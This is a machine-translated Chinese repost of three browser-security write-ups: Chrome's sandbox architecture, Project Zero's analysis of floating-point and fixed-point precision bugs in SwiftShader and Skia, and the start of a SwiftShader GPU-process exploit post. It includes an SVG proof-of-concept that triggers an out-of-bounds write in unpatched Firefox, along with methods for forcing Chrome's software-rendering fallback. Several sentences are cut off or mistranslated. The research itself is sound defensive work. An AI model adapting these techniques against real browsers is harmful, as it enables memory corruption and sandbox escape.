Azimuth Security: The Chrome Sandbox (2010) Part 1



**这是一篇发布于2010年的文章,许多内容可能已经过时**

http://blog.azimuthsecurity.com/2010/05/chrome-sandbox-part-1-of-3-overview.html
http://blog.azimuthsecurity.com/2010/08/chrome-sandbox-part-2-of-3-ipc.html

机器翻译人工润色

今年早些时候,CanSecWest举办了流行的“Pwn2Own”竞赛,参赛者试图利用他们在流行的软件包中发现的漏洞。该比赛非常关注网络浏览器,今年它并没有让人失望:除了谷歌的Chrome之外所有主要的网络浏览器都被成功入侵。我相信Chrome的生存主要归功于它的集成沙箱,它旨在隔离浏览器,使其无法在运行它的系统上执行任何潜在的不利操作。过去几个月我一直在谷歌与谷歌合作,其中一项主要指控是对沙箱及其相关组件进行安全审查。

第一篇文章将讨论基本的Chrome架构和流程交互。它旨在成为一个高级别的介绍,为将在后续内容上提出的更多技术性讨论奠定基础。第二篇文章将重点介绍Chrome进程用于相互通信的消息传递工具。这些通信失败是Chrome沙箱功能的基础,但更重要的是暴露了广泛的攻击面以实现权限提升。最后的帖子将详细介绍用于从系统其余部分沙箱渲染器进程的Linux和Windows操作系统功能的细节。

多进程架构

Chrome采用多进程架构作为Google“最小特权原则”安全策略的一部分。实质上,沙箱试图将进程与访问目标系统上任何有价值的东西隔离开来 - 包括文件,其他进程和IPC对象(Chrome本身使用的除外)。为了理解Chrome的沙箱,熟悉在浏览会话期间通常存在的各种进程之间如何分区工作非常重要。下图说明了Chrome的多进程架构。

[那张经典的图]

注意
可能存在一些尚未描述的其他进程,具体取决于浏览会话中发生的操作。例如,可以在下载Chrome扩展程序时生成安装程序进程。为简单起见,图中省略了这些辅助进程。
下面简要描述每个主要组件。

浏览器进程 - 在浏览会话期间存在单个特权浏览器进程。浏览器进程负责根据需要生成其他进程,为其配置任务,以及代表没有所需系统访问权限的进程执行特权操作以自行执行操作。

渲染器进程 - 每次打开新选项卡或窗口时都会生成渲染器进程,并负责执行正在查看的网页的解析和呈现。这包括HTML解析,JavaScript功能和图像处理。

插件流程 - 插件托管在自己的私有进程中,并与渲染器和浏览器进程通信。每个不同的插件都有一个进程,无论该插件有多少个不同的嵌入式对象实例。默认情况下,插件进程实际上以完全权限运行(就像浏览器进程一样),但是当某些兼容性问题得到解决时,这最终会发生变化。

GPU流程 - 可选择存在单个GPU流程,以代表渲染器流程执行GPU相关任务。(**注:曾经**)GPU进程不受限于沙盒。

IPC通道 - IPC通道构成了Chrome的消息传递框架,为各种Chrome流程提供了通过本地操作系统特定的传输机制相互交互的工具。

攻击Chrome

从上面的描述中可以明显看出,由于与执行操作的进程相关的特权,某些浏览器组件中的缺陷与其他组件相比具有更严重的安全相关后果。下表提供了暴露于攻击的浏览器的一些主要组件的基本细分以及进行处理的位置。

部分 处理者
网络协议解析 浏览器
创建/管理选项卡/ Windows 浏览器
输入文本的缓存 浏览器
拼写检查/正常化 浏览器
剪贴板管理 浏览器
HTML解析/渲染 渲染
JavaScript解析 渲染
图像处理 渲染
插件 插入
GPU处理 GPU
IPC消息 [所有]

在列出的所有进程中,只有渲染器是沙箱。因此,定位由呈现器以外的任何其他内容执行的公开功能(例如网络协议解析)可能会产生导致远程访问目标系统的错误,而不会产生沙箱通常会施加的任何其他限制。话虽如此,渲染器执行的功能包含了Web浏览器常用攻击面的很大一部分,因此未来Chrome中发现的大部分漏洞可能会继续与这些组件相关。由于Chrome沙箱的限制性,攻击者必须在损害渲染器以获得进一步访问系统后使用第二个漏洞升级其权限。因此,Chrome中的权限提升向量也是任何安全审核的关键焦点。特权升级有几个主要攻击面,如下所示:

IPC消息传递 - 在用于进程间通信的消息传递框架中解析缺陷将提供获得其中一个非沙盒进程的特权的理想方法。这个区域将在下一篇博客文章中进行深入研究。

公开服务 - 参与Chrome浏览会话的每个流程都通过上述IPC渠道向其他流程公开服务。重要的是要评估可以从渲染器调用的所有公开函数,以便编程缺陷或导致沙箱旁路的无意间产生的安全漏洞。此攻击面也将在下一篇博文中广泛介绍。

沙箱弱点 -在攻击任何沙箱时,必须熟悉沙箱防范的内容,以及它在执行单独处理的各种限制时的有效性。本系列的第三篇博文将讨论沙箱本身及其在Linux和Windows上的实现方式。我还将举例说明我在两个沙箱实现中发现的漏洞

共享资源 - 应该注意的是,攻击更多特权进程有几种间接形式。具体而言,一些音频,视频和图形数据由渲染器进程提供给更具特权的进程(例如GPU进程),方法是将该数据放在共享内存缓冲区中,然后通知更具特权的进程。由于这些数据的某些解析发生在更多特权进程中,因此它可能是一种可能有用的途径,可用于定位解析漏洞以获得对系统的进一步访问。这条途径虽然很有趣,但没有进一步讨论,而是留给读者练习。

操作系统/外部软件 - 当然,攻击者可以针对操作系统内核或外部软件组件(如本地服务)中的缺陷进行攻击。这些载体超出了本讨论范围,不再进一步考虑。
结论

正如您所看到的,需要覆盖大量材料。收听我接下来的两篇文章,我会更深入地了解沙箱的细节,并提出我在整个审核过程中发现的一些缺陷!

Friday, November 30, 2018 by blast

Drawing Outside the Box: Precision Issues in Graphic Libraries



马克·布兰德和伊万·弗雷特合著,Project Zero。 https://googleprojectzero.blogspot.com/2018/07/drawing-outside-box-precision-issues-in.html

在这篇博文中,我们将讨论一种罕见的漏洞类,它通常会影响图形库(尽管它也可能出现在其他类型的软件中)。这些问题的根本原因是在精度错误会使应用程序所做的安全假设失效的情况下使用有限的精度算法。

虽然我们也可以调用其他类的Bug精度问题,即整数溢出,但主要区别在于:对于整数溢出,我们处理的是算术运算,其结果的大小太大,不能在给定的精度下精确表示。有了这篇博文中描述的问题,我们处理的是算术运算,这些运算的结果或部分结果的大小太小,无法用给定的精度精确表示。

在对安全性敏感的操作中使用浮点运算时,可能会出现这些问题,但正如我们稍后将演示的那样,在某些情况下整数运算也会出现这些问题。

让我们来看一个简单的例子:

 float a = 100000000;
 float b = 1;
 float c = a + b;

如果我们以任意精度进行计算,结果将是100000001。
但是,由于浮点通常只允许24位精度,因此结果实际上是100000000。
如果应用程序通常合理地假设a>0和b>0意味着a+b>a,则这可能导致问题。
在上面的例子中,a和b之间的差异如此之大,以至于b在计算结果中完全消失,但如果差异较小,例如,精度误差也会发生。

float a = 1000;
float b = 1.1111111;
float c = a + b;

上述计算的结果将是1001.111084,而不是1001.1111111,这将是准确的结果。
在这里,只丢失了b的一部分,但即使是这样的结果有时也会产生有趣的后果。

虽然我们在上面的示例中使用了float类型,在这些特定的示例中使用double将导致更精确的计算,但同样的精度错误也可能发生在double中。
在这篇博文的其余部分,我们将展示几个具有安全影响的精确问题的示例。
Project Zero的两名成员对这些问题进行了独立的探讨:马克·布兰德(Mark Brand)研究了Chrome中使用的一种OpenGL实现软件SwiftShader,以及伊万·弗雷特(Ivan Fratric)研究了Chrome和Firefox中使用的Skia图形库。

SwiftShader

SwiftShader是“基于CPU的OpenGL ES和Direct3D 9图形API的高性能实现”。
它在所有平台的Chrome中作为后备渲染选项使用,以绕过图形硬件或驱动程序的限制,允许在更广泛的设备上普遍使用WebGL和其他高级javascript渲染API。
SwiftShader中的代码需要模拟通常由GPU执行的各种操作。

我们通常认为GPU上的一个操作本质上是“0成本”的,那就是提升比例,或从小的源纹理绘制到更大的区域,例如在屏幕上。
这需要使用非整数值计算内存索引,而非整数值正是该漏洞发生的地方。
正如在最初的bug报告中所指出的,我们将在这里查看的代码并不完全是实际运行的代码——SwftShader使用基于LLVM的JIT引擎在运行时优化性能关键型代码,但该代码比它们的回退实现更难理解,并且两者包含相同的缺陷,因此我们将讨论回退代码。
以下代码是在渲染过程中用于将像素从一个曲面复制到另一个曲面的复制循环:

source->lockInternal((int)sRect.x0, (int)sRect.y0, sRect.slice, sw::LOCK_READONLY, sw::PUBLIC);
 dest->lockInternal(dRect.x0, dRect.y0, dRect.slice, sw::LOCK_WRITEONLY, sw::PUBLIC);

 float w = sRect.width() / dRect.width();
 float h = sRect.height() / dRect.height();

 const float xStart = sRect.x0 + 0.5f * w;
 float y = sRect.y0 + 0.5f * h;
 float x = xStart;

 for(int j = dRect.y0; j < dRect.y1; j++)
 {
   x = xStart;

   for(int i = dRect.x0; i < dRect.x1; i++)
   {
     // FIXME: Support RGBA mask
     dest->copyInternal(source, i, j, x, y, options.filter);

     x += w;
   }

   y += h;
 }

 source->unlockInternal();
 dest->unlockInternal();
}

那么-这段代码的问题是什么呢?
在进入这个函数之前,我们知道所有的边界检查都已经执行了,并且对 copyInternal (i, j)和sRect的(x,y) 的任何调用都是安全的。
以上介绍中的示例显示了由此产生的精度错误意味着发生四舍五入的情况-在这种情况下,这不足以产生一个有趣的安全错误。
我们是否可以导致浮点不精确导致大于正确的值,从而导致(x,y)值大于预期?
如果我们查看代码,开发人员的意图是计算以下内容:

 for(int j = dRect.y0; j < dRect.y1; j++)
 {
   for(int i = dRect.x0; i < dRect.x1; i++)
   {
     x = xStart + (i * w);
     Y = yStart + (j * h);
     dest->copyInternal(source, i, j, x, y, options.filter);
   }
 }

如果使用这种方法,我们仍然会有精度误差-但是如果没有迭代计算,就不会有误差的传播,我们可以期望精度误差的最终大小是稳定的,并且与操作数的大小成正比。
随着迭代计算在代码中的执行,误差开始传播,滚雪球一样产生越来越大的误差。
有一些方法可以估计浮点计算中的最大错误;如果您真的需要避免额外的边界检查,那么使用这种方法并确保围绕这些最大错误有保守的安全裕度可能是解决这个问题的一种复杂且容易出错的方法。

这不是一个很好的来确定问题价值的方法,我们在这里想要证明一个漏洞;因此,我们将采取一种暴力的方法。
基本上,我们相当肯定在计算机算法中:乘法实现将大致正确,而迭代相加的实现将不那么正确。
考虑到可能输入的空间很小(Chrome不允许宽度或高度大于8192的纹理),我们可以对源宽度与目标宽度的所有比率运行蛮力,比较这两种算法,并查看结果最不同的地方。(请注意,快速着色器也将我们限制为偶数)。
这导致我们得到5828,8132的值;如果我们比较这种情况下的计算(左侧是迭代加法,右侧是乘法):

0:1.075012 1.075012。
1:1.791687 1.791687。
……
到这里为止(以所示的精度计算),这些值仍然是相同的
1001:718.466553 718.466553。
……
2046:1467.391724 1467.391724 此时,第一个重大错误开始出现,但请注意“不正确”的结果比更精确的结果要小。
2047:1468.108398 1468.108521
……
2856:2047.898315 2047.898438
2857:2048.614990 2048.614990 在这里,我们的两个计算结果再次吻合,简单地说,从这里开始,精度误差始终比更精确的计算更倾向于得到更大的结果。
2858:2049.331787 2049.331787
2859:2050.048584 2050.048340
……
8129:5827.567871 5826.924805
8130:5828.284668 5827.641602
8131:5829.001465 5828.358398 最后一个索引现在有很大的不同,INT转换会产生一个OOB index。

(还请注意,在“安全”计算中也会有错误;只是缺少错误传播意味着错误将与输入错误的大小成正比,我们预计输入错误的大小是“小”的。)。

我们确实可以看到,乘法算法将保持在边界内;但是迭代算法可以返回超出输入纹理边界的索引!
结果,我们读取了纹理分配结束后的整行像素——这很容易使用WebGL泄漏回javascript。
请继续关注即将发布的一篇博客文章,在这篇文章中,我们将使用这个漏洞以及另一个不相关的问题来控制来自javascript的GPU进程。

Skia
SKIA是在Chrome、Firefox和Android中使用的图形库。在Web浏览器中,例如在使用CanvasRenderingContext2D绘制到画布HTML元素或绘制SVG图像时使用它
在绘制其他各种HTML元素时也使用SKIA,但从安全角度看,Canvas元素和SVG图像更有趣,因为它们可以对图形库绘制的对象进行更直接的控制。
Skia可以绘制的最复杂的对象类型(因此,从安全角度看也是最有趣的)是路径。路径是由元素(例如直线)和更复杂的曲线(尤其是二次或三次样条曲线)组成的对象。由于软件绘图算法在SKIA中的工作方式,精度问题非常可能发生,并且当它们发生时非常有影响,通常会导致越界写入。

为了理解为什么会发生这些问题,让我们假设内存中有一个图像(表示为一个缓冲区,大小=宽度x高度x颜色大小)。通常,在绘制具有坐标(x,y)和颜色c的像素时,您需要确保该像素实际位于图像的空间内,特别是0<=x 如果无法检查这一点,可能会导致尝试将像素写入分配的缓冲区的边界之外。

在计算机图形学中,确保只绘制图像区域中的对象称为剪裁。那么,问题出在哪里?就CPU周期而言,对每个像素进行剪辑检查是非常昂贵的,而Skia则以速度为傲
因此,Skia所做的不是对每个像素进行剪辑检查,而是首先对整个对象(例如,直线、路径或正在绘制的任何其他类型的对象)进行剪辑检查。
根据剪辑检查,有三种可能的结果:

【1】对象完全位于绘图区域之外:绘图函数不绘制任何内容并立即返回。
【2】对象部分位于绘图区域内:绘图功能在启用每像素剪辑的情况下继续进行(通常依赖于 SkRectClipBlitter)。
【3】整个对象都在绘图区域中:绘图函数直接绘制到缓冲区中,而不执行每像素剪辑检查。

有问题的场景是【3】仅对每个对象执行剪辑检查,并且禁用更精确的每像素检查。这意味着,如果在每个对象剪辑检查和绘制像素之间的某个位置存在精度问题,并且精度问题导致像素坐标超出绘图区域,则可能会导致安全漏洞。

我们可以看到每个对象剪辑检查导致在多个位置丢弃每像素检查,例如:

在 hair_path(用于绘制不填充路径的函数)中,clip 最初设置为 null(这将禁用片段检查)。仅当路径边界(根据绘图选项向上舍入并按1或2扩展,https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=d92a739d72ae70fc8122dc077b0f751d4b1dd023&l=511)不适合绘图区域时,才会设置剪辑。将路径边界扩展1似乎是一个相当大的安全裕度,但实际上它是最不可能的安全值,因为启用抗锯齿的绘制对象有时会导致绘制到附近的像素。

在SkScan::FillPath(用于在禁用抗锯齿的情况下填充路径的函数)中,路径的边界首先由 kConservativeRoundBias扩展,然后舍入以获得“保守”路径边界。然后为当前路径创建一个SkScanClipper对象。正如我们在SkScanClipper的定义中所看到的,只有当路径边界的x坐标在绘图区域之外,或者如果irPreClipped 为true(只有当路径坐标非常大时才会发生这种情况),它才会使用SkRectClipBlitter。

在其他绘图功能中也可以看到类似的图案。
在我们更深入地了解这些问题之前,快速浏览一下Skia使用的各种数字格式是非常有用的:

【1】SkScalar是一个32位浮点数字。
【2】SkFDot6被定义为一个整数,但它实际上是一个固定的数字,其中26位在小数点的左边,6位在小数点的右边。 例如,SkFDot6值0×00000001表示数字1/64。
【3】SkFixed也是一个定点数字,这一次小数点的左侧为16位,右侧为16位。例如,SkFix值0×00000001表示1/(2**16)

整数到浮点数转换的精度误差。
去年,我们在对Firefox进行DOM模糊化时发现了最初的问题。这个问题引起了我们的注意,因为Skia写出了越界,所以我们做了进一步的调查。事实证明,根本原因是Skia在几个地方将浮点转换为int的方式存在差异。
在进行每路径片段检查时,使用以下函数舍入较低的坐标(边界框的左侧和顶部):

static inline int round_down_to_int(SkScalar x) {
   double xx = x;
   xx -= 0.5;
   return (int)ceil(xx);
}

查看代码,您会发现对于严格大于-0.5的数字,它将返回一个大于或等于零的数字(这是通过路径级别剪辑检查所必需的)。
但是,在代码的另一部分(特别是 SkEdge::setLine )中,如果定义了SK_RASTERIZE_EVEN_ROUNDING (在Firefox中就是这种情况),则使用以下函数将浮点数舍入为整数:

inline SkFDot6 SkScalarRoundToFDot6(SkScalar x, int shift = 0)
{
   union {
       double fDouble;
       int32_t fBits[2];
   } tmp;
   int fractionalBits = 6 + shift;
   double magic = (1LL << (52 - (fractionalBits))) * 1.5;

   tmp.fDouble = SkScalarToDouble(x) + magic;
#ifdef SK_CPU_BENDIAN
   return tmp.fBits[1];
#else
   return tmp.fBits[0];
#endif
}

现在让我们看一看这两个函数返回的数字-0.499。对于这个数字,舍入_DOWN_TO_INT返回0(始终通过剪裁检查),而SkScalarRoundToFDot6返回-32(对应于-0.5),因此最终得到的数字实际上比开始时的小。

但是,这并不是唯一的问题,因为在SkEdge::setLine中还有另一个发生精度错误的地方:小数相乘时的精度错误。

SkEdge::setLine调用SkFixedMul,定义为:

static inline SkFixed(SkFixed a, SkFixed b) {
   return (SkFixed)((int64_t)a * b >> 16);
}

此函数用于将两个SkFixed数相乘。使用此函数乘以负数时会出现问题。 让我们来看一个小例子。 假设a=-1/(2**16),b=1/(2**16)。如果我们在纸上把这两个数字相乘,结果是-1/(2**32)。

然而,由于SkFixedMul的工作方式,特别是因为右移位被用来将结果转换回SkFixed格式,我们最终得到的结果是0xFFFFFFFF,即SkFixed为-1/(2**16)。

因此,我们最终得到的结果比预期的要大得多。由于SkEdge::setLine使用此乘法的结果在此处调整初始线点的x坐标,因此我们可以使用SkFixedMul中的问题导致一个像素的1/64的误差并超出绘图区域边界。

通过将前两个问题结合起来,可以得到一条足够小(小于-0.5)的直线的x坐标,因此,当这里的分数表示被舍入为整数时,Skia试图在x=-1的坐标上绘制,这显然超出了图像的边界。
这就导致了越界写入,这可以在原始的bug报告中看到。
如上一节所述,通过绘制具有坐标的SVG图像,可以在Firefox中利用此漏洞进行攻击。

将样条曲线转换为直线段时的浮点精度错误

绘制路径时,SKIA会将所有非线性曲线(圆锥形状、二次样条曲线和三次样条曲线)转换为直线段。也许不出所料,这些转换会受到精度错误的影响。
样条曲线到直线段的转换发生在多个位置,但最易受浮点精度错误影响的是 hair_quad (用于绘制二次曲线)和 hair_cubic(用于绘制三次曲线)。这两个函数都是从 hair_path调用的,我们前面已经提到过。
因为(不出所料),在处理三次样条时会出现较大的精度误差,因此这里只考虑三次情况。在逼近样条曲线时,首先在SkCubicCoeff中计算三次系数。
最有趣的部分是:

fA = P3 + three * (P1 - P2) - P0;
fB = three * (P2 - times_2(P1) + P0);
fC = three * (P1 - P0);
fD = P0;

其中P1、P2和P3为输入点,fA、fB、fC和fD为输出系数。然后使用以下代码在hair_cubic中计算直线段点

const Sk2s dt(SK_Scalar1 / lines);
Sk2s t(0);

...

Sk2s A = coeff.fA;
Sk2s B = coeff.fB;
Sk2s C = coeff.fC;
Sk2s D = coeff.fD;
for (int i = 1; i < lines; ++i) {
   t = t + dt;
   Sk2s p = ((A * t + B) * t + C) * t + D;
   p.store(&tmp[i]);
}

其中p是输出点,线是我们用来近似曲线的线段数。根据样条曲线的长度,三次样条曲线最多可以近似为512条直线。
很明显,这里的算术不会很精确。由于对x和y坐标进行了相同的计算,让我们只考虑POST其余部分中的x坐标。

假设绘图区域的宽度为1000像素。由于hair_path用于在启用抗锯齿的情况下绘制路径,因此需要确保路径的所有点在1到999之间,这是在初始路径级片段检查中完成的。
让我们考虑以下坐标,这些坐标都通过了此检查:

p0 = 1.501923
p1 = 998.468811
p2 = 998.998779
p3 = 999.000000

对于这些点,系数如下

a = 995.908203
b = -2989.310547
c = 2990.900879
d = 1.501923

如果你在更大的精度上做同样的计算,你会注意到这里的数字不太正确。现在,让我们看看如果我们用512条线段近似样条线会发生什么。这将产生513个x坐标:

0: 1.501923
1: 7.332130
2: 13.139574
3: 18.924301
4: 24.686356
5: 30.425781
...
500: 998.986389
501: 998.989563
502: 998.992126
503: 998.994141
504: 998.995972
505: 998.997314
506: 998.998291
507: 998.999084
508: 998.999695
509: 998.999878
510: 999.000000
511: 999.000244
512: 999.000000

我们可以看到,x坐标不断增长,在点511明显超出了“安全”区域,并增长大于999。
碰巧,这不足以触发越界写入,因为由于绘制抗锯齿线在Skia中的工作方式,我们需要至少将像素移到剪辑区域之外的1/64,这样才会成为一个安全问题。
但是,在这种情况下,有关精度错误的一个有趣的事情是,绘图区域越大,可能发生的错误就越大。
因此,让我们考虑一个32767像素的绘图区域(Chrome中的最大画布大小)。
初始剪裁检查然后检查所有路径点是否在[1,32766]间隔内。
现在让我们考虑以下几点:

p0 = 1.7490234375
p1 = 32765.9902343750
p2 = 32766.000000
p3 = 32766.000000

对应系数

a = 32764.222656
b = -98292.687500
c = 98292.726562
d = 1.749023

和相应的直线近似

0: 1.74902343
1: 193.352295
2: 384.207123
3: 574.314941
4: 763.677246
5: 952.295532
…
505: 32765.925781
506: 32765.957031
507: 32765.976562
508: 32765.992188
509: 32766.003906
510: 32766.003906
511: 32766.015625
512: 32766.000000

你可以看到,我们在指数511上越界的次数要多得多。
对Skia来说幸运的是,对于有抱负的攻击者来说不幸的是,这个错误不能用来触发内存损坏,至少在最新版本的SKIA中不能。
原因是SkDrawTiler。
每当Skia使用SkBitmapDevice绘制(而不是使用GPU设备)且绘图区域在任何维度上大于8191像素时,Skia都会将其拆分为(最多)8191×8191像素的平铺,而不是一次绘制整个图像。
这一更改是在3月份进行的,不是出于安全原因,而是为了能够支持更大的绘制表面。
然而,它仍然有效地阻止了我们利用这一问题,也将防止利用其他情况,即需要大于8191的曲面才能达到足够大的精度误差。
尽管如此,这个错误在三月之前是可以利用的,我们认为它很好地展示了精度错误的概念。

将样条曲线转换为直线段时的整数精度错误

在绘制(在本例中为填充)也受精度错误影响的路径时,还有另一个位置可以将样条曲线近似为线段,在本例中为可利用的路径。
有趣的是,这里的精度误差不是在浮点运算中,而是在定点运算中。
此错误发生在SkQuadraticEdge::setQuadraticWithoutUpdate和SkCubicEdge::setCubicWithoutUpdate中。
为了简单起见,我们将再次集中在三次样条曲线的版本上,并且,同样地,只关注x坐标。
在SkCubicEdge::setCubicWithoutUpdate中,曲线坐标首先转换为SkFDot6类型(分数使用6位的整数)。
在此之后,将计算与曲线在初始点处的一阶、二阶和三阶导数相对应的参数:

SkFixed B = SkFDot6UpShift(3 * (x1 - x0), upShift);
SkFixed C = SkFDot6UpShift(3 * (x0 - x1 - x1 + x2), upShift);
SkFixed D = SkFDot6UpShift(x3 + 3 * (x1 - x2) - x0, upShift);

fCx     = SkFDot6ToFixed(x0);
fCDx    = B + (C >> shift) + (D >> 2*shift);    // biased by shift
fCDDx   = 2*C + (3*D >> (shift - 1));           // biased by 2*shift
fCDDDx  = 3*D >> (shift - 1);                   // biased by 2*shift

其中x0、x1、x2和x3是定义三次样条曲线的4个点的x坐标,并且移动和向上移动取决于曲线的长度(这对应于将在其中近似曲线的线性分段的数量)。
为简单起见,我们可以假设Shift=upShift=6(最大可能值)。
现在让我们看看一些非常简单的输入值会发生什么情况:
x0 = -30
x1 = -31
x2 = -31
x3 = -31

请注意,x0、x1、x2和x3的类型为skFDot6,因此值-30对应于-0.46875,-31对应于-0.484375。这接近-0.5,但四舍五入的时候很安全。
现在,让我们检查计算参数的值:

B = -192
C = 192
D = -64

fCx = -30720
fCDx = -190
fCDDx = 378
fCDDDx = -6

你知道问题出在哪里了吗?提示:它在fCDx中。在计算fCDx(曲线的第一次求导)时,D需要的值右移12。然而,D太小,不能精确地做到这一点,因为D是负的,所以右移 D >> 2*shift 将会得到-1,它的大小比预期的结果要大。
(由于D的类型为SkFixed,其实际值为-0.0009765625,如果将其解释为除以4096时,将得到-2.384185e-07)。正因为如此,整个fCDx的负值最终会大于应有的负值(-190 vs. -189.015)。

然后,在计算直线段的x值时使用fCDx的值。
这发生在以下行的SkCubicEdge::updateCubic中:

newx = oldx + (fCDx >> dshift);

当用64条直线段近似样条曲线时(此算法的最大值),x值将为(表示为索引、整数SkFix值和相应的浮点值):

index raw      interpretation
0:    -30720   -0.46875
1:    -30768   -0.469482
2:    -30815   -0.470200
3:    -30860   -0.470886
4:    -30904   -0.471558
5:    -30947   -0.472214
...
31:   -31683   -0.483444
32:   -31700   -0.483704
33:   -31716   -0.483948
34:   -31732   -0.484192
35:   -31747   -0.484421
36:   -31762   -0.484650
37:   -31776   -0.484863
38:   -31790   -0.485077
...
60:   -32005   -0.488358
61:   -32013   -0.488480
62:   -32021   -0.488602
63:   -32029   -0.488724
64:   -32037   -0.488846

您可以看到,对于第35个点,x值(-0.484421)最终小于最小的输入点(-0.484375),而对于后面的点,趋势仍在继续。
不过,此值仍将舍入为0,但还有另一个问题。
在SkCubicEdge::updateCubic中计算的x值将传递给SkEdge::updateLine,然后在以下行将它们从SkFixed类型转换为SkFDot6:

x0 >>= 10;
x1 >>= 10;

又一次右转!例如,当SkFixed值-31747被移动时,我们得到的skFDot6值为-32,表示-0.5。 在这一点上,我们可以使用上面“小数相乘时的精度错误”部分中描述的相同技巧,使其小于-0.5并超出图像边界。
换句话说,在绘制路径时,我们可以使Skia绘制到x=-1。
但是,我们能用它做什么呢? 通常,考虑到Skia将图像像素分配为逐行组织的单个分配(就像大多数其他软件会分配位图一样),在精度问题上可能会发生几种情况。
如果我们假设宽度x高度图像,并且只能超出边界一个像素:
【1】绘制到y=-1或y=高度会立即导致堆越界写入。
【2】绘制到x=-1且y=0的图形会立即导致1个像素的堆下溢。
【3】绘制到x=宽度且y=高度-1的图形会立即导致1个像素的堆溢出。
【4】使用y>0绘制到x=-1会导致像素“溢出”到上一个图像行。
【5】使用y

这里我们得到的是场景【4】不幸的是,当y=0时,我们不能画到x=1,因为精度误差需要在y的增长值上累积。
让我们来看一下下面的SVG图像示例:

<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<style>
body {
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-left: 0px
}
</style>
<path d="M -0.46875 -0.484375 C -0.484375 -0.484375, -0.484375 -0.484375, -0.484375 100 L 1 100 L 1 -0.484375" fill="red" shape-rendering="crispEdges" />
</svg>

如果我们在Firefox的一个未打补丁的版本中呈现这一点,我们所看到的将如下图所示。
请注意SVG只包含屏幕左侧的坐标,而一些红色像素绘制在右侧。
这是因为,由于图像的分配方式,绘制到x=-1和y=row等于绘制到x=Width-1和y=row-1。

https://lh4.googleusercontent.com/C2gzyHeEV-fHnuOjvyr9g3C-XPiL0xFApDL3vZx_hQDZ4hi_ppuYmRTN1myDJFRcCvsq86j–_-YGEjQUMw-X2OavBEM-2nWz5ay1cjAppcbrYkQhIXHcSWUiEMmeX34gYlBMJwQ

请注意,我们使用的是Mozilla Firefox,而不是Google Chrome,因为SVG绘制内部内容(具体地说:Skia似乎一次绘制整个图像,而Chrome使用其他平铺)更容易在Firefox中演示此问题。
然而,Chrome和Firefox都同样受到了这个问题的影响。

但是,除了画一个有趣的图片,这个问题是否有真正的安全影响?
在这里,SkARGB32_Shader_Blitter 得到了补救(只要将着色器效果应用到Skia中的颜色,就会使用SkARGB32_Shader_Blitter )。
SkARGB32_Shader_Blitter 的特殊之处在于,它分配的临时缓冲区的大小与单个图像行的大小相同。

当使用 SkARGB32_Shader_Blitter::blitH 绘制整个图像行时,如果可以使其从x=-1到x=Width-1(从x=0到x=宽度交替绘制),则需要将Width+1像素写入只能容纳宽度像素的缓冲区,导致缓冲区溢出,如错误报告中的ASAN日志所示。
请注意Chrome和Firefox的POC如何包含具有线性Gradient元素的SVG图像——线性渐变专门用于选择SkARGB32_Shader_Blitter,而不是直接将像素绘制到图像中,这只会导致像素溢出到上一行。

此问题的另一个具体问题是,只有在关闭了抗锯齿功能的情况下绘制(更具体地说:填充)路径时,才能达到此目的。
由于目前不可能在禁用抗锯齿的情况下绘制指向HTML画布元素的路径(存在ImageSmoothingEnabled属性,但它仅适用于绘制图像,而不适用于路径),因此必须使用具有shape-rendering=”crispEdges”的SVG图像来触发问题。

我们在Skia中报告的所有精度问题都通过增加 kConservativeRoundBias 得到了修复。
虽然当前的偏差值足够大,足以涵盖我们所知的最大精度误差,但我们不应排除在其他地方可能出现精度问题的可能性。

结语

虽然在这篇博客文章中描述的精度问题不会出现在大多数软件产品中,但在它们存在的地方,它们可能会产生相当严重的后果。

为防止其发生,请执行以下操作:
【1】在结果对安全性敏感的情况下,不要使用浮点算法。
【2】如果您必须这样做,那么您需要确保最大可能的精度误差不能大于某个安全裕度。
【3】在某些情况下,区间算法可以用来确定最大精度误差。
【4】或者,对结果执行安全检查,而不是输入。
【5】使用整数运算时,要警惕可能会降低结果精度的任何操作,例如除法和右移位。

不幸的是,当涉及到发现这些问题时,似乎没有一种很好的方法可以做到这一点。
当我们开始研究Skia时,最初我们想尝试在绘图算法上使用符号执行来查找会导致绘制越界的输入值,因为从表面上看,这似乎是一个非常适合符号执行的问题。
然而,在实践中,存在着太多的问题:大多数工具不支持浮点符号变量,而且,即使只针对最简单的线条绘制算法的整数部分运行,我们也未能在合理的时间内完成运行(我们使用的是带有STP和Z3后端的KLEE https://klee.github.io/)。
最后,我们所做的是一些比较老套的方法的组合:手动源代码检查、fuzzing(特别是在接近图像边界的值中),在某些情况下,当我们已经识别出可能存在问题的代码区域时,甚至可能需要强制执行所有可能的值的范围。

Thursday, November 29, 2018 by blast

Heap Feng Shader: Exploiting SwiftShader in Chrome



机器翻译+简单人工润色于 https://googleprojectzero.blogspot.com/2018/10/heap-feng-shader-exploiting-swiftshader.html

Wednesday, October 24, 2018
马克·布兰德(Mark Brand)发布,Project Zero。

在大多数系统上,在正常情况下,Chrome永远不会使用SwiftShader-如果您有已知错误的“列入黑名单”的图形卡或驱动程序,它将用作后备。但是,Chrome还可以在运行时确定您的图形驱动程序存在问题,并切换到使用SWIFT Shader以提供更好的用户体验。
如果您对性能差异感兴趣,或者只是想玩一玩,您可以使用SwiftShader 启动Chrome,而不是使用-DISABLE-GPU命令行标志来启动GPU加速。
SwiftShader 是Chrome中一个相当有趣的攻击面,因为所有的渲染工作都是在一个单独的进程(GPU进程)中完成的。
由于此进程负责绘制到屏幕上,因此它需要比通常处理网页内容的高度沙箱化的渲染器进程具有更多的权限。

在典型的Linux桌面系统配置上,沙箱访问X11服务器方面的技术限制意味着这个沙箱非常薄弱;在Windows等其他平台上,GPU进程仍然可以访问更大的内核攻击面。
我们是否可以编写一个在GPU进程中获得代码执行而不首先损害渲染器的漏洞攻击?
我们将关注利用我们报告的两个问题,这两个问题最近由Chrome解决了。
事实证明,如果你有一个受支持的GPU,它仍然是一个相对简单的攻击:攻击者强制您的浏览器使用快速的图形着色器——如果GPU进程崩溃超过4次,Chrome将回落到这一软件渲染路径,而不是禁用加速。
在我的测试中,让GPU进程崩溃或遇到来自WebGL的内存不足问题非常简单——这是留给感兴趣的读者的练习。
对于这篇博文的其余部分,我们将假设GPU进程已经处于回退软件渲染模式。

先前的精度问题

我们之前讨论了由SwftShader代码中的一些精度问题导致的信息泄漏问题——因此,我们将从这里开始,从这个问题中找到一个有用的泄漏原语。
